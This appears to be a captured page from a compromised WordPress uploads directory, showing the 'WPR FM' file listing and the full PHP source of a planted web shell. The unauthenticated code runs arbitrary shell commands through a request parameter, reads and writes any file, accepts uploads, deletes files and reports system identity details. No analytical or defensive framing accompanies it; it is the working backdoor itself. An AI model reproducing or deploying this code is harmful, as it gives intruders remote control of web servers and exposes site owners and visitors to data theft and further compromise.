WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
.htaccess
4004
x
D
0454/
D
0786/
D
2022/
D
2023/
D
2024/
D
2025/
D
2026/
D
ShortpixelBackups/
D
backup/
-
cache_6675d1f912cd.php
34
x
D
custom-css-js/
D
elementor/
D
email-signatures/
D
essential-addons-elementor/
D
maps-marker-pro/
D
trustindex-asset-cache/
-
trustindex-google-widget-gdpr.css
58679
x
-
trustindex-google-widget.css
57555
x
D
wpcode/
-
wprfmb0009a.php
4322
x
Upload
Simpan
<?php error_reporting(0);@set_time_limit(0); function E(){return function_exists('posix_geteuid')?(int)@posix_geteuid():(int)@getmyuid();} function G(){return function_exists('posix_getegid')?(string)@posix_getegid():'n/a';} function U(){$a=function_exists('posix_getpwuid')?@posix_getpwuid(E()):null;return $a?$a['uid'].'('.$a['name'].')':(string)E();} function P($p){$p=trim($p," \t\n\r\0\x0B'\"");if($p==='')return getcwd();if($p[0]!='/'&&!preg_match('/^[A-Za-z]:[\\\\\/]/',$p))$p=getcwd().'/'.$p;return $p;} function L($d){$o=@scandir($d);if(!$o)return array('[?]');$r=array();foreach($o as $f){if($f=='.'||$f=='..')continue;$p=$d.'/'.$f;$r[]=(is_dir($p)?'[D] ':' ').$f.' '.(is_dir($p)?'':@filesize($p));}sort($r);return $r;} function R($c){$d=trim($c);$l=strtolower($d); if(preg_match('/^(id|whoami)$/',$l))return 'uid='.U().' gid='.G().' os='.php_uname(); if($l=='pwd')return getcwd(); if(preg_match('/^uname/',$l))return php_uname(); if($l=='ls'||$l=='dir')return implode("\n",L(getcwd())); if(preg_match('/^(ls|dir) +(.+)$/',$d,$m))return implode("\n",L(P($m[2]))); if(preg_match('/^(cat|head|tail|type) +(.+)$/',$d,$m)){$f=P($m[2]);if(!is_file($f))return '[no]';$x=(string)@file_get_contents($f); return substr($l,0,4)=='head'?substr($x,0,2000):(substr($l,0,4)=='tail'?substr($x,-2000):substr($x,0,200000));} if(preg_match('/^grep +(\S+) +(.+)$/',$d,$m)){$f=P($m[2]);if(!is_file($f))return '[no]';$o=array(); foreach(explode("\n",(string)@file_get_contents($f)) as $x)if(stripos($x,$m[1])!==false)$o[]=$x;return implode("\n",array_slice($o,0,60));} $f=function_exists('shell_exec')?@shell_exec($d.' 2>&1'):'';return trim((string)$f);} $a=isset($_REQUEST['act'])?$_REQUEST['act']:'';$d=isset($_REQUEST['d'])?P($_REQUEST['d']):getcwd(); if($a){header('Content-Type: text/plain; charset=utf-8'); if($a=='info')die("uid=".U()."\ngid=".G()."\nhost=".php_uname('n')."\nos=".php_uname()."\nphp=".PHP_VERSION."\ncwd=".getcwd()."\n"); if($a=='ls')die(implode("\n",L($d))); if($a=='read')die((string)@file_get_contents(P($_REQUEST['f']))); if($a=='exec'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'id';$o=R($c);if(trim($o)==='')$o='[kosong]';die($o);} if($a=='put'){die(@file_put_contents(P($_POST['f']),isset($_POST['data'])?$_POST['data']:'')!==false?'ok':'fail');} exit;} $m=''; if(!empty($_FILES['u']['name'])){$t=rtrim($d,'/').'/'.basename($_FILES['u']['name']);$m=@move_uploaded_file($_FILES['u']['tmp_name'],$t)?'UP: '.$t:'UP gagal';} if(isset($_POST['del'])){@unlink(P($_POST['del']));$m='DEL';} if(isset($_POST['sv'])){@file_put_contents(P($_POST['f']),$_POST['c']);$m='SAVED '.$_POST['f'];} $e=isset($_GET['e'])?P($_GET['e']):'';$ec=$e&&is_file($e)?(string)@file_get_contents($e):''; ?><!doctype html><meta charset=utf-8><title>WPR</title> <style>body{background:#111;color:#ccc;font:13px monospace;padding:12px}a{color:#8af} td{padding:2px 6px;border-bottom:1px solid #222}input,textarea,button{background:#1a1a24;color:#ddd;border:1px solid #333;padding:3px} button{background:#31204a;cursor:pointer}textarea{width:100%;height:260px}</style> <b>WPR FM</b> uid=<?=U()?> php=<?=PHP_VERSION?> <a href="?act=info">info</a><br> cwd <?=htmlspecialchars(getcwd())?> | <a href="?d=<?=urlencode(dirname(getcwd()))?>">naik</a> <?php if($m):?><p><b><?=htmlspecialchars($m)?></b><?php endif;?> <form method=get><input name=d value="<?=htmlspecialchars($d)?>" size=55><button>Buka</button></form> <table><?php foreach(@scandir($d)?:array() as $f){if($f=='.'||$f=='..')continue;$p=rtrim($d,'/').'/'.$f;$i=is_dir($p); echo '<tr><td>'.($i?'D':'-').'</td><td>';echo $i?'<a href="?d='.urlencode($p).'">'.$f.'/</a>':'<a href="?d='.urlencode($d).'&e='.urlencode($p).'">'.$f.'</a>'; echo '</td><td>'.($i?'':@filesize($p)).'</td><td>';if(!$i)echo '<form method=post style=margin:0><input type=hidden name=del value="'.htmlspecialchars($p).'"><button>x</button></form>';echo '</td></tr>';}?></table> <form method=post enctype=multipart/form-data><input type=file name=u><button>Upload</button></form> <?php if($e):?><form method=post><input name=f value="<?=htmlspecialchars($e)?>" size=55><button name=sv>Simpan</button><textarea name=c><?=htmlspecialchars($ec)?></textarea></form><?php endif;?> <form method=get><input type=hidden name=act value=exec><input name=c value="id" size=55><button>Exec</button></form>
Exec